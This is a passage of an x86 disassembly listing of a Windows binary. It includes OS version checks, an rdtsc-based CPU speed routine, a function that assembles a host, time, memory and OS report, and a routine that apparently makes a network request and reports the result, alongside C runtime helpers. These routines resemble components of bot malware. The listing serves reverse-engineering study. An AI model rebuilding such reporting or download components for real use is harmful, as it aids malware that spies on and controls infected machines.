pop esi loc_41A938: ; CODE XREF: sub_41A8F4+3Fj cmp [ebp+var_84], 2 jnz short loc_41A987 push 1 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A945: ; CODE XREF: sub_41A8F4+36j cmp [ebp+var_8C], 0Ah jnz short loc_41A952 loc_41A94E: ; CODE XREF: sub_41A8F4+78j push 2 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A952: ; CODE XREF: sub_41A8F4+58j cmp [ebp+var_8C], 5Ah jnz short loc_41A987 jmp short loc_41A977 ; --------------------------------------------------------------------------- loc_41A95D: ; CODE XREF: sub_41A8F4+2Ej cmp [ebp+var_90], 5 jnz short loc_41A987 cmp [ebp+var_8C], esi jz short loc_41A94E cmp [ebp+var_8C], 1 jnz short loc_41A97B loc_41A977: ; CODE XREF: sub_41A8F4+67j push 3 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A97B: ; CODE XREF: sub_41A8F4+81j cmp [ebp+var_8C], 2 jnz short loc_41A987 push 7 loc_41A986: ; CODE XREF: sub_41A8F4+4Fj ; sub_41A8F4+5Cj ... pop esi loc_41A987: ; CODE XREF: sub_41A8F4+25j ; sub_41A8F4+4Bj ... mov eax, esi pop esi leave retn sub_41A8F4 endp ; =============== S U B R O U T I N E ======================================= sub_41A98C proc near ; CODE XREF: sub_41AA42+290p push ebx push esi push edi mov esi, 0F4240h loc_41A994: ; CODE XREF: sub_41A98C+2Fj ; sub_41A98C+35j rdtsc push 3E8h mov edi, edx mov ebx, eax call near ptr 2670000h nop rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41D410 mov edi, edx mov ebx, eax test edi, edi ja short loc_41A994 jb short loc_41A9C3 cmp ebx, esi ja short loc_41A994 loc_41A9C3: ; CODE XREF: sub_41A98C+31j push 0 push 64h push edi push ebx call sub_41D480 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AA36 jb short loc_41A9E2 cmp esi, 50h jnb short loc_41A9E7 loc_41A9E2: ; CODE XREF: sub_41A98C+4Fj push 4Bh xor edx, edx pop eax loc_41A9E7: ; CODE XREF: sub_41A98C+54j test ecx, ecx ja short loc_41AA36 jb short loc_41A9F2 cmp esi, 47h jnb short loc_41A9F7 loc_41A9F2: ; CODE XREF: sub_41A98C+5Fj push 42h xor edx, edx pop eax loc_41A9F7: ; CODE XREF: sub_41A98C+64j test ecx, ecx ja short loc_41AA36 jb short loc_41AA02 cmp esi, 37h jnb short loc_41AA07 loc_41AA02: ; CODE XREF: sub_41A98C+6Fj push 32h xor edx, edx pop eax loc_41AA07: ; CODE XREF: sub_41A98C+74j test ecx, ecx ja short loc_41AA36 jb short loc_41AA12 cmp esi, 26h jnb short loc_41AA17 loc_41AA12: ; CODE XREF: sub_41A98C+7Fj push 21h xor edx, edx pop eax loc_41AA17: ; CODE XREF: sub_41A98C+84j test ecx, ecx ja short loc_41AA36 jb short loc_41AA22 cmp esi, 1Eh jnb short loc_41AA27 loc_41AA22: ; CODE XREF: sub_41A98C+8Fj push 19h xor edx, edx pop eax loc_41AA27: ; CODE XREF: sub_41A98C+94j test ecx, ecx ja short loc_41AA36 jb short loc_41AA32 cmp esi, 0Ah jnb short loc_41AA36 loc_41AA32: ; CODE XREF: sub_41A98C+9Fj xor eax, eax xor edx, edx loc_41AA36: ; CODE XREF: sub_41A98C+4Dj ; sub_41A98C+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41A98C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA42 proc near ; CODE XREF: sub_401ACD+276Ep var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset dword_43D158 mov [ebp+var_CC], 94h nop call near ptr 26C05ECh xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41AAC9 cmp [ebp+var_C4], ebx jnz short loc_41AAA5 cmp [ebp+var_BC], 1 jnz short loc_41AA8F mov [ebp+var_4], offset dword_4312B4 loc_41AA8F: ; CODE XREF: sub_41AA42+44j cmp [ebp+var_BC], 2 jnz loc_41AB44 mov [ebp+var_4], offset dword_4312B0 jmp short loc_41AB15 ; --------------------------------------------------------------------------- loc_41AAA5: ; CODE XREF: sub_41AA42+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41AAB7 mov [ebp+var_4], offset dword_4312AC jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAB7: ; CODE XREF: sub_41AA42+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41AB05 mov [ebp+var_4], offset dword_4312A8 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAC9: ; CODE XREF: sub_41AA42+33j cmp [ebp+var_C8], 5 jnz short loc_41AB05 cmp [ebp+var_C4], ebx jnz short loc_41AAE3 mov [ebp+var_4], offset dword_4312A4 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAE3: ; CODE XREF: sub_41AA42+96j cmp [ebp+var_C4], 1 jnz short loc_41AAF5 mov [ebp+var_4], offset dword_4312A0 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAF5: ; CODE XREF: sub_41AA42+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41AB0C loc_41AB05: ; CODE XREF: sub_41AA42+7Cj ; sub_41AA42+8Ej mov [ebp+var_4], offset dword_431298 loc_41AB0C: ; CODE XREF: sub_41AA42+73j ; sub_41AA42+85j ... cmp [ebp+var_BC], 2 jnz short loc_41AB44 loc_41AB15: ; CODE XREF: sub_41AA42+61j cmp [ebp+var_B8], bl jz short loc_41AB44 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_1 ; "%s (%s)" push eax call sub_41B886 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41AB44: ; CODE XREF: sub_41AA42+54j ; sub_41AA42+D1j ... mov ax, word_43786C push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CAE84 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41AB7D lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41AB7D: ; CODE XREF: sub_41AA42+12Cj push [ebp+arg_4] call sub_40AC0F pop ecx push eax call dword_4CAFE4 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CAF5C cmp eax, ebx jz short loc_41ABA6 push dword ptr [eax] jmp short loc_41ABAB ; --------------------------------------------------------------------------- loc_41ABA6: ; CODE XREF: sub_41AA42+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41ABAB: ; CODE XREF: sub_41AA42+162j lea eax, [ebp+var_3E4] push eax call sub_41B886 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 2660AB7h lea eax, [ebp+var_114] push 46h push eax push offset dword_43A144 push ebx mov esi, 409h push ebx push esi nop call near ptr 2730000h lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi nop call near ptr 2720000h push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_38] push eax call near ptr 2850000h nop push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41B9D1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41A88B add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax call sub_41A98C push edx push eax push offset dword_43A068 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AA42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACF6 proc near ; CODE XREF: sub_401ACD+279Cp ; sub_401ACD+72F5p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41B590 add esp, 0Ch cmp dword_4CB08C, 0 jnz short loc_41AD62 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CAE68 test eax, eax jnz short loc_41AD4B lea eax, [ebp+var_8C] push offset dword_43A1CC push eax call sub_41B886 pop ecx pop ecx loc_41AD4B: ; CODE XREF: sub_41ACF6+40j test [ebp+var_C], 1 jz short loc_41AD58 push offset dword_43A1C4 jmp short loc_41AD5D ; --------------------------------------------------------------------------- loc_41AD58: ; CODE XREF: sub_41ACF6+59j push offset off_43A1C0 loc_41AD5D: ; CODE XREF: sub_41ACF6+60j lea eax, [ebp+var_8] jmp short loc_41AD7A ; --------------------------------------------------------------------------- loc_41AD62: ; CODE XREF: sub_41ACF6+28j mov esi, offset off_43A1BC lea eax, [ebp+var_8] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41AD7A: ; CODE XREF: sub_41ACF6+6Aj push eax call sub_41B886 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43A178 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41ACF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB5 proc near ; DATA XREF: sub_401ACD+7714o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43A2AC call sub_41B590 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41B590 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41B590 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41B590 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41B590 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CAEA0 test eax, eax jz loc_41AF4F cmp [ebp+var_34], ebx jbe short loc_41AE8C push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41B5F0 add esp, 0Ch loc_41AE8C: ; CODE XREF: sub_41ADB5+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41AEAA push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEAA: ; CODE XREF: sub_41ADB5+DEj cmp [ebp+var_20], ebx jbe short loc_41AEC4 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41B5F0 add esp, 0Ch loc_41AEC4: ; CODE XREF: sub_41ADB5+F8j cmp [ebp+var_18], ebx jbe short loc_41AEDE push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEDE: ; CODE XREF: sub_41ADB5+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CAF54 call dword_4CAF78 mov esi, eax cmp esi, ebx jz short loc_41AF67 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CAF6C cmp eax, ebx mov [ebp+var_4], eax jz short loc_41AF6E push ebx push ebx push ebx push ebx push eax call dword_4CAF18 test eax, eax jz short loc_41AF48 push offset dword_43A290 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF48: ; CODE XREF: sub_41ADB5+18Aj push offset unk_43A254 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF4F: ; CODE XREF: sub_41ADB5+B7j lea eax, [ebp+var_55C] push offset dword_43A238 push eax call sub_41B886 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41AF81 ; --------------------------------------------------------------------------- loc_41AF67: ; CODE XREF: sub_41ADB5+153j push offset unk_43A20C jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF6E: ; CODE XREF: sub_41ADB5+17Bj push offset unk_43A1DC loc_41AF73: ; CODE XREF: sub_41ADB5+191j ; sub_41ADB5+198j ... lea eax, [ebp+var_55C] push eax call sub_41B886 pop ecx pop ecx loc_41AF81: ; CODE XREF: sub_41ADB5+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41AFAC push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409A72 add esp, 14h loc_41AFAC: ; CODE XREF: sub_41ADB5+1D2j lea eax, [ebp+var_55C] push eax call sub_4151AC pop ecx push esi call dword_4CAFD8 push [ebp+var_4] call dword_4CAFD8 push [ebp+var_1D8] call sub_40B412 pop ecx push ebx nop call near ptr 26D0000h pop edi pop esi pop ebx int 3 ; Trap to Debugger sub_41ADB5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Ep ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B000 loc_41AFEC: ; CODE XREF: sub_41AFE0+19j mov al, [ecx] inc ecx test al, al jz short loc_41B033 test ecx, 3 jnz short loc_41AFEC add eax, 0 loc_41B000: ; CODE XREF: sub_41AFE0+Aj ; sub_41AFE0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B000 mov eax, [ecx-4] test al, al jz short loc_41B051 test ah, ah jz short loc_41B047 test eax, 0FF0000h jz short loc_41B03D test eax, 0FF000000h jz short loc_41B033 jmp short loc_41B000 ; --------------------------------------------------------------------------- loc_41B033: ; CODE XREF: sub_41AFE0+11j ; sub_41AFE0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B03D: ; CODE XREF: sub_41AFE0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B047: ; CODE XREF: sub_41AFE0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B051: ; CODE XREF: sub_41AFE0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41AFE0 endp ; =============== S U B R O U T I N E ======================================= sub_41B05B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+58DAp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B070 or eax, 0FFFFFFFFh jmp short loc_41B0AA ; --------------------------------------------------------------------------- loc_41B070: ; CODE XREF: sub_41B05B+Ej test al, 83h jz short loc_41B0A8 push esi call sub_41DB8B push esi mov edi, eax call sub_41DB25 push dword ptr [esi+10h] call sub_41DA72 add esp, 0Ch test eax, eax jge short loc_41B096 or edi, 0FFFFFFFFh jmp short loc_41B0A8 ; --------------------------------------------------------------------------- loc_41B096: ; CODE XREF: sub_41B05B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41B0A8 push eax call sub_41B0B1 and dword ptr [esi+1Ch], 0 pop ecx loc_41B0A8: ; CODE XREF: sub_41B05B+17j ; sub_41B05B+39j ... mov eax, edi loc_41B0AA: ; CODE XREF: sub_41B05B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B05B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40AB31+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41B117 mov eax, dword_4DC948 cmp eax, 3 jnz short loc_41B0DD push esi call sub_41DE77 pop ecx test eax, eax push esi jz short loc_41B109 push eax call sub_41DEA2 pop ecx pop ecx jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B0DD: ; CODE XREF: sub_41B0B1+14j cmp eax, 2 jnz short loc_41B108 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_41B108 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41EC29 add esp, 0Ch jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B108: ; CODE XREF: sub_41B0B1+2Fj ; sub_41B0B1+44j push esi loc_41B109: ; CODE XREF: sub_41B0B1+20j push 0 push dword_4DC944 nop call near ptr 27A0000h loc_41B117: ; CODE XREF: sub_41B0B1+Aj ; sub_41B0B1+2Aj ... pop esi leave retn sub_41B0B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B11A proc near ; CODE XREF: sub_4010AB+45p ; ___:0040F089p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41B13E xor eax, eax jmp loc_41B1E7 ; --------------------------------------------------------------------------- loc_41B13E: ; CODE XREF: sub_41B11A+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41B151 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B151: ; CODE XREF: sub_41B11A+2Dj mov [ebp+arg_C], 1000h jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B15A: ; CODE XREF: sub_41B11A+C4j mov ecx, [ebp+arg_0] loc_41B15D: ; CODE XREF: sub_41B11A+35j ; sub_41B11A+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41B18F mov eax, [esi+4] test eax, eax jz short loc_41B18F cmp ecx, eax mov edi, ecx jb short loc_41B174 mov edi, eax loc_41B174: ; CODE XREF: sub_41B11A+56j push edi push dword ptr [esi] push ebx call sub_41C310 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B18F: ; CODE XREF: sub_41B11A+49j ; sub_41B11A+50j cmp ecx, [ebp+arg_C] jb short loc_41B1C2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41B1A5 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41B1A5: ; CODE XREF: sub_41B11A+80j push eax push ebx push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch test eax, eax jz short loc_41B1EC cmp eax, 0FFFFFFFFh jz short loc_41B1F2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B1C2: ; CODE XREF: sub_41B11A+78j push esi call sub_41F043 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41B1F6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41B1DA: ; CODE XREF: sub_41B11A+73j ; sub_41B11A+A6j cmp [ebp+arg_0], 0 jnz loc_41B15A mov eax, [ebp+arg_8] loc_41B1E7: ; CODE XREF: sub_41B11A+1Fj ; sub_41B11A+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B1EC: ; CODE XREF: sub_41B11A+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41B1F6 ; --------------------------------------------------------------------------- loc_41B1F2: ; CODE XREF: sub_41B11A+9Fj or dword ptr [esi+0Ch], 20h loc_41B1F6: ; CODE XREF: sub_41B11A+B2j ; sub_41B11A+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41B1E7 sub_41B11A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41CFD3+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41B21D push [ebp+arg_4] call sub_41B4D5 pop ecx jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B21D: ; CODE XREF: sub_41B202+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41B232 push [ebp+arg_0] call sub_41B0B1 pop ecx jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B232: ; CODE XREF: sub_41B202+20j mov eax, dword_4DC948 cmp eax, 3 jnz loc_41B342 loc_41B240: ; CODE XREF: sub_41B202+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B31E push [ebp+arg_0] call sub_41DE77 mov ebx, eax pop ecx test ebx, ebx jz loc_41B2F9 cmp esi, dword_4DC940 ja short loc_41B2B2 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41E680 add esp, 0Ch test eax, eax jnz short loc_41B2AE push esi call sub_41E1CB mov edi, eax pop ecx test edi, edi jz short loc_41B2B2 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41B292 mov eax, esi loc_41B292: ; CODE XREF: sub_41B202+8Cj push eax push ebx push edi call sub_41C310 push ebx call sub_41DE77 push [ebp+arg_0] mov ebx, eax push ebx call sub_41DEA2 add esp, 18h loc_41B2AE: ; CODE XREF: sub_41B202+74j test edi, edi jnz short loc_41B2F5 loc_41B2B2: ; CODE XREF: sub_41B202+62j ; sub_41B202+81j test esi, esi jnz short loc_41B2B9 push 1 pop esi loc_41B2B9: ; CODE XREF: sub_41B202+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DC944 nop call near ptr 27B0000h mov edi, eax test edi, edi jz short loc_41B2F5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41B2E1 mov eax, esi loc_41B2E1: ; CODE XREF: sub_41B202+DBj push eax push ecx push edi call sub_41C310 push [ebp+arg_0] push ebx call sub_41DEA2 add esp, 14h loc_41B2F5: ; CODE XREF: sub_41B202+AEj ; sub_41B202+D0j test ebx, ebx jnz short loc_41B31A loc_41B2F9: ; CODE XREF: sub_41B202+56j test esi, esi jnz short loc_41B300 push 1 pop esi loc_41B300: ; CODE XREF: sub_41B202+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC944 call near ptr 2860000h nop mov edi, eax loc_41B31A: ; CODE XREF: sub_41B202+F5j test edi, edi jnz short loc_41B33B loc_41B31E: ; CODE XREF: sub_41B202+43j cmp dword_4DB32C, 0 jz short loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B240 jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B33B: ; CODE XREF: sub_41B202+11Aj ; sub_41B202+123j ... mov eax, edi jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B342: ; CODE XREF: sub_41B202+38j cmp eax, 2 jnz loc_41B45D cmp esi, 0FFFFFFE0h ja short loc_41B35F test esi, esi jbe short loc_41B35C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41B35F ; --------------------------------------------------------------------------- loc_41B35C: ; CODE XREF: sub_41B202+150j push 10h pop esi loc_41B35F: ; CODE XREF: sub_41B202+14Cj ; sub_41B202+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B43F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41EBD2 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41B423 cmp esi, dword_43C324 jnb short loc_41B3E7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EF9A add esp, 10h test eax, eax jz short loc_41B3AD mov edi, [ebp+arg_0] jmp short loc_41B3DF ; --------------------------------------------------------------------------- loc_41B3AD: ; CODE XREF: sub_41B202+1A4j push edi call sub_41EC6E mov edi, eax pop ecx test edi, edi jz short loc_41B3E7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B3C6 mov eax, esi loc_41B3C6: ; CODE XREF: sub_41B202+1C0j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h loc_41B3DF: ; CODE XREF: sub_41B202+1A9j test edi, edi jnz loc_41B33B loc_41B3E7: ; CODE XREF: sub_41B202+18Bj ; sub_41B202+1B6j push esi push 0 push dword_4DC944 call near ptr 27B0000h nop mov edi, eax test edi, edi jz short loc_41B43F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B408 mov eax, esi loc_41B408: ; CODE XREF: sub_41B202+202j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h jmp short loc_41B437 ; --------------------------------------------------------------------------- loc_41B423: ; CODE XREF: sub_41B202+17Fj push esi push [ebp+arg_0] push 0 push dword_4DC944 nop call near ptr 2860000h mov edi, eax loc_41B437: ; CODE XREF: sub_41B202+21Fj test edi, edi jnz loc_41B33B loc_41B43F: ; CODE XREF: sub_41B202+162j ; sub_41B202+1F8j cmp dword_4DB32C, 0 jz loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B35F jmp short loc_41B49B ; --------------------------------------------------------------------------- loc_41B45D: ; CODE XREF: sub_41B202+143j ; sub_41B202+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41B487 test esi, esi jnz short loc_41B46B push 1 pop esi loc_41B46B: ; CODE XREF: sub_41B202+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC944 nop call near ptr 2860000h test eax, eax jnz short loc_41B49D loc_41B487: ; CODE XREF: sub_41B202+260j cmp dword_4DB32C, 0 jz short loc_41B49D push esi call sub_41F312 test eax, eax pop ecx jnz short loc_41B45D loc_41B49B: ; CODE XREF: sub_41B202+2Bj ; sub_41B202+134j ... xor eax, eax loc_41B49D: ; CODE XREF: sub_41B202+16j ; sub_41B202+13Bj ... pop edi pop esi pop ebx leave retn sub_41B202 endp ; =============== S U B R O U T I N E ======================================= sub_41B4A2 proc near ; CODE XREF: sub_41B4C2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41F49D test eax, eax jnz short loc_41B4AC retn ; --------------------------------------------------------------------------- loc_41B4AC: ; CODE 